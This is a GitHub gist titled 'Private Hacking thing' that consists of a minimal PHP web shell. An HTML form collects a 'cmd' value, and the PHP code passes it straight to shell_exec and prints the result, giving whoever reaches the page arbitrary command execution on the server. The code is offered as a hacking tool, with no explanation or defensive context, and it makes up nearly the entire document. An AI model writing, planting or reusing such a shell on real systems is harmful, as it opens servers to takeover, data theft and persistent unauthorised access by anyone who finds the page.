Last active
October 17, 2018 05:49
-
-
Save downloadpizza/d99540859971fb2db1fb06162fa67365 to your computer and use it in GitHub Desktop.
Private Hacking thing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form method="post" action=""> | |
<input type="text" name="cmd" placeholder="command..."></input> | |
<input type="submit"></input> | |
</form> | |
<?php | |
echo "$"; | |
echo htmlspecialchars(shell_exec($_POST['cmd'])); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment